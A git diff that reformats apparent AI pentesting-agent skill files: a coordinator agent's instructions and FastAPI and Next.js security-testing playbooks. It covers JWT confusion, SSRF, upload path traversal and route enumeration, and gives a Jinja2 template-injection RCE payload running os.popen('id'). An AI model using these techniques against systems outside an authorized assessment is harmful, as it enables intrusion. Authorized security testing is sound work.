refactor: standardize vulnerability skills format
This commit is contained in:
@@ -398,11 +398,10 @@ Default user: pentester (sudo available)
|
|||||||
|
|
||||||
{% if loaded_skill_names %}
|
{% if loaded_skill_names %}
|
||||||
<specialized_knowledge>
|
<specialized_knowledge>
|
||||||
{# Dynamic skills loaded based on agent specialization #}
|
|
||||||
|
|
||||||
{% for skill_name in loaded_skill_names %}
|
{% for skill_name in loaded_skill_names %}
|
||||||
|
<{{ skill_name }}>
|
||||||
{{ get_skill(skill_name) }}
|
{{ get_skill(skill_name) }}
|
||||||
|
</{{ skill_name }}>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</specialized_knowledge>
|
</specialized_knowledge>
|
||||||
{% endif %}
|
{% endif %}
|
||||||
|
|||||||
@@ -1,7 +1,10 @@
|
|||||||
|
import re
|
||||||
|
|
||||||
from strix.utils.resource_paths import get_strix_resource_path
|
from strix.utils.resource_paths import get_strix_resource_path
|
||||||
|
|
||||||
|
|
||||||
_EXCLUDED_CATEGORIES = {"scan_modes", "coordination"}
|
_EXCLUDED_CATEGORIES = {"scan_modes", "coordination"}
|
||||||
|
_FRONTMATTER_PATTERN = re.compile(r"^---\s*\n.*?\n---\s*\n", re.DOTALL)
|
||||||
|
|
||||||
|
|
||||||
def get_available_skills() -> dict[str, list[str]]:
|
def get_available_skills() -> dict[str, list[str]]:
|
||||||
@@ -127,7 +130,9 @@ def load_skills(skill_names: list[str]) -> dict[str, str]:
|
|||||||
if skill_path and (skills_dir / skill_path).exists():
|
if skill_path and (skills_dir / skill_path).exists():
|
||||||
full_path = skills_dir / skill_path
|
full_path = skills_dir / skill_path
|
||||||
var_name = skill_name.split("/")[-1]
|
var_name = skill_name.split("/")[-1]
|
||||||
skill_content[var_name] = full_path.read_text()
|
content = full_path.read_text()
|
||||||
|
content = _FRONTMATTER_PATTERN.sub("", content).lstrip()
|
||||||
|
skill_content[var_name] = content
|
||||||
logger.info(f"Loaded skill: {skill_name} -> {var_name}")
|
logger.info(f"Loaded skill: {skill_name} -> {var_name}")
|
||||||
else:
|
else:
|
||||||
logger.warning(f"Skill not found: {skill_name}")
|
logger.warning(f"Skill not found: {skill_name}")
|
||||||
|
|||||||
@@ -1,41 +1,92 @@
|
|||||||
# ROOT COORDINATION AGENT
|
---
|
||||||
|
name: root-agent
|
||||||
|
description: Orchestration layer that coordinates specialized subagents for security assessments
|
||||||
|
---
|
||||||
|
|
||||||
You are a COORDINATION AGENT ONLY. You do NOT perform any security testing, vulnerability assessment, or technical work yourself.
|
# Root Agent
|
||||||
|
|
||||||
Your ONLY responsibilities:
|
Orchestration layer for security assessments. This agent coordinates specialized subagents but does not perform testing directly.
|
||||||
1. Create specialized agents for specific security tasks
|
|
||||||
2. Monitor agent progress and coordinate between them
|
|
||||||
3. Compile final scan reports from agent findings
|
|
||||||
4. Manage agent communication and dependencies
|
|
||||||
|
|
||||||
CRITICAL RESTRICTIONS:
|
You can create agents throughout the testing process—not just at the beginning. Spawn agents dynamically based on findings and evolving scope.
|
||||||
- NEVER perform vulnerability testing or security assessments
|
|
||||||
- NEVER write detailed vulnerability reports (only compile final summaries)
|
|
||||||
- ONLY use agent_graph and finish tools for coordination
|
|
||||||
- You can create agents throughout the scan process, depending on the task and findings, not just at the beginning!
|
|
||||||
|
|
||||||
## Agent Management
|
## Role
|
||||||
|
|
||||||
BEFORE CREATING AGENTS:
|
- Decompose targets into discrete, parallelizable tasks
|
||||||
|
- Spawn and monitor specialized subagents
|
||||||
|
- Aggregate findings into a cohesive final report
|
||||||
|
- Manage dependencies and handoffs between agents
|
||||||
|
|
||||||
|
## Scope Decomposition
|
||||||
|
|
||||||
|
Before spawning agents, analyze the target:
|
||||||
|
|
||||||
|
1. **Identify attack surfaces** - web apps, APIs, infrastructure, etc.
|
||||||
|
2. **Define boundaries** - in-scope domains, IP ranges, excluded assets
|
||||||
|
3. **Determine approach** - blackbox, greybox, or whitebox assessment
|
||||||
|
4. **Prioritize by risk** - critical assets and high-value targets first
|
||||||
|
|
||||||
|
## Agent Architecture
|
||||||
|
|
||||||
|
Structure agents by function:
|
||||||
|
|
||||||
|
**Reconnaissance**
|
||||||
|
- Asset discovery and enumeration
|
||||||
|
- Technology fingerprinting
|
||||||
|
- Attack surface mapping
|
||||||
|
|
||||||
|
**Vulnerability Assessment**
|
||||||
|
- Injection testing (SQLi, XSS, command injection)
|
||||||
|
- Authentication and session analysis
|
||||||
|
- Access control testing (IDOR, privilege escalation)
|
||||||
|
- Business logic flaws
|
||||||
|
- Infrastructure vulnerabilities
|
||||||
|
|
||||||
|
**Exploitation and Validation**
|
||||||
|
- Proof-of-concept development
|
||||||
|
- Impact demonstration
|
||||||
|
- Vulnerability chaining
|
||||||
|
|
||||||
|
**Reporting**
|
||||||
|
- Finding documentation
|
||||||
|
- Remediation recommendations
|
||||||
|
|
||||||
|
## Coordination Principles
|
||||||
|
|
||||||
|
**Task Independence**
|
||||||
|
|
||||||
|
Create agents with minimal dependencies. Parallel execution is faster than sequential.
|
||||||
|
|
||||||
|
**Clear Objectives**
|
||||||
|
|
||||||
|
Each agent should have a specific, measurable goal. Vague objectives lead to scope creep and redundant work.
|
||||||
|
|
||||||
|
**Avoid Duplication**
|
||||||
|
|
||||||
|
Before creating agents:
|
||||||
1. Analyze the target scope and break into independent tasks
|
1. Analyze the target scope and break into independent tasks
|
||||||
2. Check existing agents to avoid duplication
|
2. Check existing agents to avoid overlap
|
||||||
3. Create agents with clear, specific objectives to avoid duplication
|
3. Create agents with clear, specific objectives
|
||||||
|
|
||||||
AGENT TYPES YOU CAN CREATE:
|
**Hierarchical Delegation**
|
||||||
- Reconnaissance: subdomain enum, port scanning, tech identification, etc.
|
|
||||||
- Vulnerability Testing: SQL injection, XSS, auth bypass, IDOR, RCE, SSRF, etc. Can be black-box or white-box.
|
|
||||||
- Direct vulnerability testing agents to implement hierarchical workflow (per finding: discover, verify, report, fix): each one should create validation agents for findings verification, which spawn reporting agents for documentation, which create fix agents for remediation
|
|
||||||
|
|
||||||
COORDINATION GUIDELINES:
|
Complex findings warrant specialized subagents:
|
||||||
- Ensure clear task boundaries and success criteria
|
- Discovery agent finds potential vulnerability
|
||||||
- Terminate redundant agents when objectives overlap
|
- Validation agent confirms exploitability
|
||||||
- Use message passing only when essential (requests/answers or critical handoffs); avoid routine status messages and prefer batched updates
|
- Reporting agent documents with reproduction steps
|
||||||
|
- Fix agent provides remediation (if needed)
|
||||||
|
|
||||||
## Final Responsibilities
|
**Resource Efficiency**
|
||||||
|
|
||||||
When all agents complete:
|
- Avoid duplicate coverage across agents
|
||||||
1. Collect findings from all agents
|
- Terminate agents when objectives are met or no longer relevant
|
||||||
2. Compile a final scan summary report
|
- Use message passing only when essential (requests/answers, critical handoffs)
|
||||||
3. Use finish tool to complete the assessment
|
- Prefer batched updates over routine status messages
|
||||||
|
|
||||||
Your value is in orchestration, not execution.
|
## Completion
|
||||||
|
|
||||||
|
When all agents report completion:
|
||||||
|
|
||||||
|
1. Collect and deduplicate findings across agents
|
||||||
|
2. Assess overall security posture
|
||||||
|
3. Compile executive summary with prioritized recommendations
|
||||||
|
4. Invoke finish tool with final report
|
||||||
|
|||||||
@@ -1,146 +1,191 @@
|
|||||||
# FASTAPI — ADVERSARIAL TESTING PLAYBOOK
|
---
|
||||||
|
name: fastapi
|
||||||
|
description: Security testing playbook for FastAPI applications covering ASGI, dependency injection, and API vulnerabilities
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# FastAPI
|
||||||
|
|
||||||
FastAPI (on Starlette) spans HTTP, WebSocket, and background tasks with powerful dependency injection and automatic OpenAPI. Security breaks where identity, authorization, and validation drift across routers, middlewares, proxies, and channels. Treat every dependency, header, and object reference as untrusted until bound to the caller and tenant.
|
Security testing for FastAPI/Starlette applications. Focus on dependency injection flaws, middleware gaps, and authorization drift across routers and channels.
|
||||||
|
|
||||||
## Surface Map
|
## Attack Surface
|
||||||
|
|
||||||
- ASGI stack: Starlette middlewares (CORS, TrustedHost, ProxyHeaders, Session), exception handlers, lifespan events
|
**Core Components**
|
||||||
- Routers/sub-apps: APIRouter with prefixes/tags, mounted apps (StaticFiles, admin subapps), `include_router`, versioned paths
|
- ASGI middlewares: CORS, TrustedHost, ProxyHeaders, Session, exception handlers, lifespan events
|
||||||
- Security and DI: `Depends`, `Security`, `OAuth2PasswordBearer`, `HTTPBearer`, scopes, per-router vs per-route dependencies
|
- Routers and sub-apps: APIRouter prefixes/tags, mounted apps (StaticFiles, admin), `include_router`, versioned paths
|
||||||
- Models and validation: Pydantic v1/v2 models, unions/Annotated, custom validators, extra fields policy, coercion
|
- Dependency injection: `Depends`, `Security`, `OAuth2PasswordBearer`, `HTTPBearer`, scopes
|
||||||
- Docs and schema: `/openapi.json`, `/docs`, `/redoc`, alternative docs_url/redoc_url, schema extensions
|
|
||||||
- Files and static: `UploadFile`, `File`, `FileResponse`, `StaticFiles` mounts, template engines (`Jinja2Templates`)
|
|
||||||
- Channels: HTTP (sync/async), WebSocket, StreamingResponse/SSE, BackgroundTasks/Task queues
|
|
||||||
- Deployment: Uvicorn/Gunicorn, reverse proxies/CDN, TLS termination, header trust
|
|
||||||
|
|
||||||
## Methodology
|
**Data Handling**
|
||||||
|
- Pydantic models: v1/v2, unions/Annotated, custom validators, extra fields policy, coercion
|
||||||
|
- File operations: UploadFile, File, FileResponse, StaticFiles mounts
|
||||||
|
- Templates: Jinja2Templates rendering
|
||||||
|
|
||||||
1. Enumerate routes from OpenAPI and via crawling; diff with 404-fuzzing for hidden endpoints (`include_in_schema=False`).
|
**Channels**
|
||||||
2. Build a Principal × Channel × Content-Type matrix (unauth, user, staff/admin; HTTP vs WebSocket; JSON/form/multipart) and capture baselines.
|
- HTTP (sync/async), WebSocket, SSE/StreamingResponse
|
||||||
3. For each route, identify dependencies (router-level and route-level). Attempt to satisfy security dependencies minimally, then mutate context (tokens, scopes, tenant headers) and object IDs.
|
- BackgroundTasks and task queues
|
||||||
4. Compare behavior across deployments: dev/stage/prod often differ in middlewares (CORS, TrustedHost, ProxyHeaders) and docs exposure.
|
|
||||||
|
|
||||||
## High Value Targets
|
**Deployment**
|
||||||
|
- Uvicorn/Gunicorn, reverse proxies/CDN, TLS termination, header trust
|
||||||
|
|
||||||
- `/openapi.json`, `/docs`, `/redoc` in production (full attack surface map; securitySchemes and server URLs)
|
## High-Value Targets
|
||||||
- Auth flows: token endpoints, session/cookie bridges, OAuth device/PKCE, scope checks
|
|
||||||
|
- `/openapi.json`, `/docs`, `/redoc` in production (full attack surface map, securitySchemes, server URLs)
|
||||||
|
- Auth flows: token endpoints, session/cookie bridges, OAuth device/PKCE
|
||||||
- Admin/staff routers, feature-flagged routes, `include_in_schema=False` endpoints
|
- Admin/staff routers, feature-flagged routes, `include_in_schema=False` endpoints
|
||||||
- File upload/download, import/export/report endpoints, signed URL generators
|
- File upload/download, import/export/report endpoints, signed URL generators
|
||||||
- WebSocket endpoints carrying notifications, admin channels, or commands
|
- WebSocket endpoints (notifications, admin channels, commands)
|
||||||
- Background job creation/fetch (`/jobs/{id}`, `/tasks/{id}/result`)
|
- Background job endpoints (`/jobs/{id}`, `/tasks/{id}/result`)
|
||||||
- Mounted subapps (admin UI, storage browsers, metrics/health endpoints)
|
- Mounted subapps (admin UI, storage browsers, metrics/health)
|
||||||
|
|
||||||
## Advanced Techniques
|
## Reconnaissance
|
||||||
|
|
||||||
### Openapi And Docs
|
**OpenAPI Mining**
|
||||||
|
|
||||||
- Try default and alternate locations: `/openapi.json`, `/docs`, `/redoc`, `/api/openapi.json`, `/internal/openapi.json`.
|
|
||||||
- If OpenAPI is exposed, mine: paths, parameter names, securitySchemes, scopes, servers; find endpoints hidden in UI but present in schema.
|
|
||||||
- Schema drift: endpoints with `include_in_schema=False` won’t appear—use wordlists based on tags/prefixes and common admin/debug names.
|
|
||||||
|
|
||||||
### Dependency Injection And Security
|
|
||||||
|
|
||||||
- Router vs route dependencies: routes may miss security dependencies present elsewhere; check for unprotected variants of protected actions.
|
|
||||||
- Minimal satisfaction: `OAuth2PasswordBearer` only yields a token string—verify if any route treats token presence as auth without verification.
|
|
||||||
- Scope checks: ensure scopes are enforced by the dependency (e.g., `Security(...)`); routes using `Depends` instead may ignore requested scopes.
|
|
||||||
- Header/param aliasing: DI sources headers/cookies/query by name; try case variations and duplicates to influence which value binds.
|
|
||||||
|
|
||||||
### Auth And Jwt
|
|
||||||
|
|
||||||
- Token misuse: developers may decode JWTs without verifying signature/issuer/audience; attempt unsigned/attacker-signed tokens and cross-service audiences.
|
|
||||||
- Algorithm/key confusion: try HS/RS cross-use if verification is not pinned; inject `kid` header targeting local files/paths where custom key lookup exists.
|
|
||||||
- Session bridges: check cookies set via SessionMiddleware or custom cookies. Attempt session fixation and forging if weak `secret_key` or predictable signing is used.
|
|
||||||
- Device/PKCE flows: verify strict PKCE S256 and state/nonce enforcement if OAuth/OIDC is integrated.
|
|
||||||
|
|
||||||
### Cors And Csrf
|
|
||||||
|
|
||||||
- CORS reflection: broad `allow_origin_regex` or mis-specified origins can permit cross-site reads; test arbitrary Origins and credentialed requests.
|
|
||||||
- CSRF: FastAPI/Starlette lack built-in CSRF. If cookies carry auth, attempt state-changing requests via cross-site forms/XHR; validate origin header checks and same-site settings.
|
|
||||||
|
|
||||||
### Proxy And Host Trust
|
|
||||||
|
|
||||||
- ProxyHeadersMiddleware: if enabled without network boundary, spoof `X-Forwarded-For/Proto` to influence auth/IP gating and secure redirects.
|
|
||||||
- TrustedHostMiddleware absent or lax: perform Host header poisoning; attempt password reset links / absolute URL generation under attacker host.
|
|
||||||
- Upstream/CDN cache keys: ensure Vary on Authorization/Cookie/Tenant; try cache key confusion to leak personalized responses.
|
|
||||||
|
|
||||||
### Static And Uploads
|
|
||||||
|
|
||||||
- UploadFile.filename: attempt path traversal and control characters; verify server joins/sanitizes and enforces storage roots.
|
|
||||||
- FileResponse/StaticFiles: confirm directory boundaries and index/auto-listing; probe symlinks and case/encoding variants.
|
|
||||||
- Parser differentials: send JSON vs multipart for the same route to hit divergent code paths/validators.
|
|
||||||
|
|
||||||
### Template Injection
|
|
||||||
|
|
||||||
- Jinja2 templates via `TemplateResponse`: search for unescaped injection in variables and filters. Probe with minimal expressions:
|
|
||||||
```
|
```
|
||||||
- `{{7*7}}` → arithmetic confirmation
|
GET /openapi.json
|
||||||
- `{{cycler.__init__.__globals__['os'].popen('id').read()}}` for RCE in unsafe contexts
|
GET /docs
|
||||||
|
GET /redoc
|
||||||
|
GET /api/openapi.json
|
||||||
|
GET /internal/openapi.json
|
||||||
```
|
```
|
||||||
- Confirm autoescape and strict sandboxing; inspect custom filters/globals.
|
|
||||||
|
|
||||||
### Ssrf And Outbound
|
Extract: paths, parameters, securitySchemes, scopes, servers. Endpoints with `include_in_schema=False` won't appear—fuzz based on discovered prefixes and common admin/debug names.
|
||||||
|
|
||||||
- Endpoints fetching user-supplied URLs (imports, previews, webhooks validation): test loopback/RFC1918/IPv6, redirects, DNS rebinding, and header control.
|
**Dependency Mapping**
|
||||||
- Library behavior (httpx/requests): examine redirect policy, header forwarding, and protocol support; try `file://`, `ftp://`, or gopher-like shims if custom clients are used.
|
|
||||||
|
|
||||||
### Websockets
|
For each route, identify:
|
||||||
|
- Router-level dependencies (applied to all routes)
|
||||||
|
- Route-level dependencies (per endpoint)
|
||||||
|
- Which dependencies enforce auth vs just parse input
|
||||||
|
|
||||||
- Authenticate each connection (query/header/cookie). Attempt cross-origin handshakes and cookie-bearing WS from untrusted origins.
|
## Key Vulnerabilities
|
||||||
- Topic naming and authorization: if using user/tenant IDs in channels, subscribe/publish to foreign IDs.
|
|
||||||
- Message-level checks: ensure per-message authorization, not only at handshake.
|
|
||||||
|
|
||||||
### Background Tasks And Jobs
|
### Authentication & Authorization
|
||||||
|
|
||||||
- BackgroundTasks that act on IDs must re-enforce ownership/tenant at execution time. Attempt to fetch/cancel others’ jobs by referencing their IDs.
|
**Dependency Injection Gaps**
|
||||||
- Export/import pipelines: test job/result endpoints for IDOR and cross-tenant leaks.
|
- Routes missing security dependencies present on other routes
|
||||||
|
- `Depends` used instead of `Security` (ignores scope enforcement)
|
||||||
|
- Token presence treated as authentication without signature verification
|
||||||
|
- `OAuth2PasswordBearer` only yields a token string—verify routes don't treat presence as auth
|
||||||
|
|
||||||
### Multi App Mounting
|
**JWT Misuse**
|
||||||
|
- Decode without verify: test unsigned tokens, attacker-signed tokens
|
||||||
|
- Algorithm confusion: HS256/RS256 cross-use if not pinned
|
||||||
|
- `kid` header injection for custom key lookup paths
|
||||||
|
- Missing issuer/audience validation, cross-service token reuse
|
||||||
|
|
||||||
- Mounted subapps (e.g., `/admin`, `/static`, `/metrics`) may bypass global middlewares. Confirm middleware parity and auth on mounts.
|
**Session Weaknesses**
|
||||||
|
- SessionMiddleware with weak `secret_key`
|
||||||
|
- Session fixation via predictable signing
|
||||||
|
- Cookie-based auth without CSRF protection
|
||||||
|
|
||||||
|
**OAuth/OIDC**
|
||||||
|
- Device/PKCE flows: verify strict PKCE S256 and state/nonce enforcement
|
||||||
|
|
||||||
|
### Access Control
|
||||||
|
|
||||||
|
**IDOR via Dependencies**
|
||||||
|
- Object IDs in path/query not validated against caller
|
||||||
|
- Tenant headers trusted without binding to authenticated user
|
||||||
|
- BackgroundTasks acting on IDs without re-validating ownership at execution time
|
||||||
|
- Export/import pipelines with IDOR and cross-tenant leaks
|
||||||
|
|
||||||
|
**Scope Bypass**
|
||||||
|
- Minimal scope satisfaction (any valid token accepted)
|
||||||
|
- Router vs route scope enforcement inconsistency
|
||||||
|
|
||||||
|
### Input Handling
|
||||||
|
|
||||||
|
**Pydantic Exploitation**
|
||||||
|
- Type coercion: strings to ints/bools, empty strings to None, truthiness edge cases
|
||||||
|
- Extra fields: `extra = "allow"` permits injecting control fields (role, ownerId, scope)
|
||||||
|
- Union types and `Annotated`: craft shapes hitting unintended validation branches
|
||||||
|
|
||||||
|
**Content-Type Switching**
|
||||||
|
```
|
||||||
|
application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data
|
||||||
|
```
|
||||||
|
Different content types hit different validators or code paths (parser differentials).
|
||||||
|
|
||||||
|
**Parameter Manipulation**
|
||||||
|
- Case variations in header/cookie names
|
||||||
|
- Duplicate parameters exploiting DI precedence
|
||||||
|
- Method override via `X-HTTP-Method-Override` (upstream respects, app doesn't)
|
||||||
|
|
||||||
|
### CORS & CSRF
|
||||||
|
|
||||||
|
**CORS Misconfiguration**
|
||||||
|
- Overly broad `allow_origin_regex`
|
||||||
|
- Origin reflection without validation
|
||||||
|
- Credentialed requests with permissive origins
|
||||||
|
- Verify preflight vs actual request deltas
|
||||||
|
|
||||||
|
**CSRF Exposure**
|
||||||
|
- No built-in CSRF in FastAPI/Starlette
|
||||||
|
- Cookie-based auth without origin validation
|
||||||
|
- Missing SameSite attribute
|
||||||
|
|
||||||
|
### Proxy & Host Trust
|
||||||
|
|
||||||
|
**Header Spoofing**
|
||||||
|
- ProxyHeadersMiddleware without network boundary: spoof `X-Forwarded-For/Proto` to influence auth/IP gating
|
||||||
|
- Absent TrustedHostMiddleware: Host header poisoning in password reset links, absolute URL generation
|
||||||
|
- Cache key confusion: missing Vary on Authorization/Cookie/Tenant
|
||||||
|
|
||||||
|
### Server-Side Vulnerabilities
|
||||||
|
|
||||||
|
**Template Injection (Jinja2)**
|
||||||
|
```python
|
||||||
|
{{7*7}} # Arithmetic confirmation
|
||||||
|
{{cycler.__init__.__globals__['os'].popen('id').read()}} # RCE
|
||||||
|
```
|
||||||
|
Check autoescape settings and custom filters/globals.
|
||||||
|
|
||||||
|
**SSRF**
|
||||||
|
- User-supplied URLs in imports, previews, webhooks validation
|
||||||
|
- Test: loopback, RFC1918, IPv6, redirects, DNS rebinding, header control
|
||||||
|
- Library behavior (httpx/requests): redirect policy, header forwarding, protocol support
|
||||||
|
- Protocol smuggling: `file://`, `ftp://`, gopher-like shims if custom clients
|
||||||
|
|
||||||
|
**File Upload**
|
||||||
|
- Path traversal in `UploadFile.filename` with control characters
|
||||||
|
- Missing storage root enforcement, symlink following
|
||||||
|
- Vary filename encodings, dot segments, NUL-like bytes
|
||||||
|
- Verify storage paths and served URLs
|
||||||
|
|
||||||
|
### WebSocket Security
|
||||||
|
|
||||||
|
- Missing per-connection authentication
|
||||||
|
- Cross-origin WebSocket without origin validation
|
||||||
|
- Topic/channel IDOR (subscribing to other users' channels)
|
||||||
|
- Authorization only at handshake, not per-message
|
||||||
|
|
||||||
|
### Mounted Apps
|
||||||
|
|
||||||
|
Sub-apps at `/admin`, `/static`, `/metrics` may bypass global middlewares. Verify auth enforcement parity across all mounts.
|
||||||
|
|
||||||
|
### Alternative Stacks
|
||||||
|
|
||||||
|
- If GraphQL (Strawberry/Graphene) is mounted: validate resolver-level authorization, IDOR on node/global IDs
|
||||||
|
- If SQLModel/SQLAlchemy present: probe for raw query usage and row-level authorization gaps
|
||||||
|
|
||||||
## Bypass Techniques
|
## Bypass Techniques
|
||||||
|
|
||||||
- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data` to traverse alternate validators/handlers.
|
- Content-type switching to traverse alternate validators
|
||||||
- Parameter duplication and case variants to exploit DI precedence.
|
- Parameter duplication and case variants exploiting DI precedence
|
||||||
- Method confusion via proxies (e.g., `X-HTTP-Method-Override`) if upstream respects it while app does not.
|
- Method confusion via proxies (`X-HTTP-Method-Override`)
|
||||||
- Race windows around dependency-validated state transitions (issue token then mutate with parallel requests).
|
- Race windows around dependency-validated state transitions (issue token then mutate with parallel requests)
|
||||||
|
|
||||||
## Special Contexts
|
## Testing Methodology
|
||||||
|
|
||||||
### Pydantic Edges
|
1. **Enumerate** - Fetch OpenAPI, diff with 404-fuzzing for hidden endpoints
|
||||||
|
2. **Matrix testing** - Test each route across: unauth/user/admin × HTTP/WebSocket × JSON/form/multipart
|
||||||
|
3. **Dependency analysis** - Map which dependencies enforce auth vs parse input
|
||||||
|
4. **Cross-environment** - Compare dev/stage/prod for middleware and docs exposure differences
|
||||||
|
5. **Channel consistency** - Verify same authorization on HTTP and WebSocket for equivalent operations
|
||||||
|
|
||||||
- Coercion: strings to ints/bools, empty strings to None; exploit truthiness and boundary conditions.
|
## Validation Requirements
|
||||||
- Extra fields: if models allow/ignore extras, sneak in control fields for downstream logic (scope/role/ownerId) that are later trusted.
|
|
||||||
- Unions and `Annotated`: craft shapes hitting unintended branches.
|
|
||||||
|
|
||||||
### Graphql And Alt Stacks
|
- Side-by-side requests showing unauthorized access (owner vs non-owner, cross-tenant)
|
||||||
|
- Cross-channel proof (HTTP and WebSocket for same rule)
|
||||||
- If GraphQL (Strawberry/Graphene) is mounted, validate resolver-level authorization and IDOR on node/global IDs.
|
- Header/proxy manipulation showing altered outcomes (Host/XFF/CORS)
|
||||||
- If SQLModel/SQLAlchemy present, probe for raw query usage and row-level authorization gaps.
|
- Minimal payloads for template injection, SSRF, token misuse with safe/OAST oracles
|
||||||
|
- Document exact dependency paths (router-level, route-level) that missed enforcement
|
||||||
## Validation
|
|
||||||
|
|
||||||
1. Show unauthorized data access or action with side-by-side owner vs non-owner requests (or different tenants).
|
|
||||||
2. Demonstrate cross-channel consistency (HTTP and WebSocket) for the same rule.
|
|
||||||
3. Include proof where proxies/headers/caches alter outcomes (Host/XFF/CORS).
|
|
||||||
4. Provide minimal payloads confirming template/SSRF execution or token misuse, with safe or OAST-based oracles.
|
|
||||||
5. Document exact dependency paths (router-level, route-level) that missed enforcement.
|
|
||||||
|
|
||||||
## Pro Tips
|
|
||||||
|
|
||||||
1. Always fetch `/openapi.json` first; it’s the blueprint. If hidden, brute-force likely admin/report/export routes.
|
|
||||||
2. Trace dependencies per route; map which ones enforce auth/scopes vs merely parse input.
|
|
||||||
3. Treat tokens returned by `OAuth2PasswordBearer` as untrusted strings—verify actual signature and claims on the server.
|
|
||||||
4. Test CORS with arbitrary Origins and with credentials; verify preflight and actual request deltas.
|
|
||||||
5. Add Host and X-Forwarded-* fuzzing when behind proxies; watch for redirect/absolute URL differences.
|
|
||||||
6. For uploads, vary filename encodings, dot segments, and NUL-like bytes; verify storage paths and served URLs.
|
|
||||||
7. Use content-type toggling to hit alternate validators and code paths.
|
|
||||||
8. For WebSockets, test cookie-based auth, origin restrictions, and per-message authorization.
|
|
||||||
9. Mine client bundles/env for secret paths and preview/admin flags; many teams hide routes via UI only.
|
|
||||||
10. Keep PoCs minimal and durable (IDs, headers, small payloads) and prefer reproducible diffs over noisy payloads.
|
|
||||||
|
|
||||||
## Remember
|
|
||||||
|
|
||||||
Authorization and validation must be enforced in the dependency graph and at the resource boundary for every path and channel. If any route, middleware, or mount skips binding subject, action, and object/tenant, expect cross-user and cross-tenant breakage.
|
|
||||||
|
|||||||
@@ -1,154 +1,228 @@
|
|||||||
# NEXT.JS — ADVERSARIAL TESTING PLAYBOOK
|
---
|
||||||
|
name: nextjs
|
||||||
|
description: Security testing playbook for Next.js covering App Router, Server Actions, RSC, and Edge runtime vulnerabilities
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# Next.js
|
||||||
|
|
||||||
Modern Next.js combines multiple execution contexts (Edge, Node, RSC, client) with smart caching (ISR/RSC fetch cache), middleware, and server actions. Authorization and cache boundaries must be enforced consistently across all paths or attackers will cross tenants, leak data, or invoke privileged actions.
|
Security testing for Next.js applications. Focus on authorization drift across runtimes (Edge/Node), caching boundaries, server actions, and middleware bypass.
|
||||||
|
|
||||||
## Surface Map
|
## Attack Surface
|
||||||
|
|
||||||
- Routers: App Router (`app/`) and Pages Router (`pages/`) coexist; test both
|
**Routers**
|
||||||
- Runtimes: Node.js vs Edge (V8 isolates with restricted APIs)
|
- App Router (`app/`) and Pages Router (`pages/`) often coexist
|
||||||
- Data paths: RSC (server components), Client components, Route Handlers (`app/api/**`), API routes (`pages/api/**`)
|
- Route Handlers (`app/api/**`) and API routes (`pages/api/**`)
|
||||||
- Middleware: `middleware.ts`/`_middleware.ts`
|
- Middleware: `middleware.ts` at project root
|
||||||
- Rendering modes: SSR, SSG, ISR, on-demand revalidation, draft/preview mode
|
|
||||||
- Images: `next/image` optimization and remote loader
|
|
||||||
- Auth: NextAuth.js (callbacks, CSRF/state, callbackUrl), custom JWT/session bridges
|
|
||||||
- Server Actions: streamed POST with `Next-Action` header and action IDs
|
|
||||||
|
|
||||||
## Methodology
|
**Runtimes**
|
||||||
|
- Node.js (full API access)
|
||||||
|
- Edge (V8 isolates, restricted APIs)
|
||||||
|
|
||||||
1. Inventory routes (pages + app), static vs dynamic segments, and params. Map middleware coverage and runtime per path.
|
**Rendering & Caching**
|
||||||
2. Capture baseline for each role (unauth, user, admin) across SSR, API routes, Route Handlers, Server Actions, and streaming data.
|
- SSR, SSG, ISR, on-demand revalidation
|
||||||
3. Diff responses while toggling runtime (Edge/Node), content-type, fetch cache directives, and preview/draft mode.
|
- RSC (React Server Components) with fetch cache
|
||||||
4. Probe caching and revalidation boundaries (ISR, RSC fetch, CDN) for cross-user/tenant leaks.
|
- Draft/preview mode
|
||||||
|
|
||||||
## High Value Targets
|
**Data Paths**
|
||||||
|
- Server Components, Client Components
|
||||||
|
- Server Actions (streamed POST with `Next-Action` header)
|
||||||
|
- `getServerSideProps`, `getStaticProps`
|
||||||
|
|
||||||
|
**Integrations**
|
||||||
|
- NextAuth.js (callbacks, CSRF, callbackUrl)
|
||||||
|
- `next/image` optimization and remote loaders
|
||||||
|
|
||||||
|
## High-Value Targets
|
||||||
|
|
||||||
- Middleware-protected routes (auth, geo, A/B)
|
- Middleware-protected routes (auth, geo, A/B)
|
||||||
- Admin/staff paths, draft/preview content, on-demand revalidate endpoints
|
- Admin/staff paths, draft/preview content, on-demand revalidate endpoints
|
||||||
- RSC payloads and flight data, streamed responses (server actions)
|
- RSC payloads and flight data, streamed responses
|
||||||
- Image optimizer and custom loaders, remotePatterns/domains
|
- Image optimizer and custom loaders, remotePatterns/domains
|
||||||
- NextAuth callbacks (`/api/auth/callback/*`), sign-in providers, CSRF/state handling
|
- NextAuth callbacks (`/api/auth/callback/*`), sign-in providers
|
||||||
- Edge-only features (bot protection, IP gates) and their Node equivalents
|
- Edge-only features (bot protection, IP gates) and their Node equivalents
|
||||||
|
|
||||||
## Advanced Techniques
|
## Reconnaissance
|
||||||
|
|
||||||
### Route Enumeration
|
**Route Discovery**
|
||||||
|
|
||||||
- __BUILD_MANIFEST.sortedPages: Execute `console.log(__BUILD_MANIFEST.sortedPages.join('\n'))` in browser console to instantly reveal all registered routes (Pages Router and static App Router paths compiled at build time)
|
```javascript
|
||||||
- __NEXT_DATA__: Inspect `<script id="__NEXT_DATA__">` for serverside props, pageProps, buildId, and dynamic route params on current page; reveals data flow and prop structure
|
// Browser console - list all routes
|
||||||
- Source maps exposure: Check `/_next/static/` for exposed .map files revealing full route structure, server action IDs, API endpoints, and internal function names
|
console.log(__BUILD_MANIFEST.sortedPages.join('\n'))
|
||||||
- Client bundle mining: Search main-*.js and page chunks for route definitions; grep for 'pathname:', 'href:', '__next_route__', 'serverActions', and API endpoint strings
|
|
||||||
- Static chunk enumeration: Probe `/_next/static/chunks/pages/` and `/_next/static/chunks/app/` for build artifacts; filenames map directly to routes (e.g., `admin.js` → `/admin`)
|
// Inspect server-fetched data
|
||||||
- Build manifest fetch: GET `/_next/static/<buildId>/_buildManifest.js` and `/_next/static/<buildId>/_ssgManifest.js` for complete route and static generation metadata
|
JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props.pageProps
|
||||||
- Sitemap/robots leakage: Check `/sitemap.xml`, `/robots.txt`, and `/sitemap-*.xml` for unintended exposure of admin/internal/preview paths
|
|
||||||
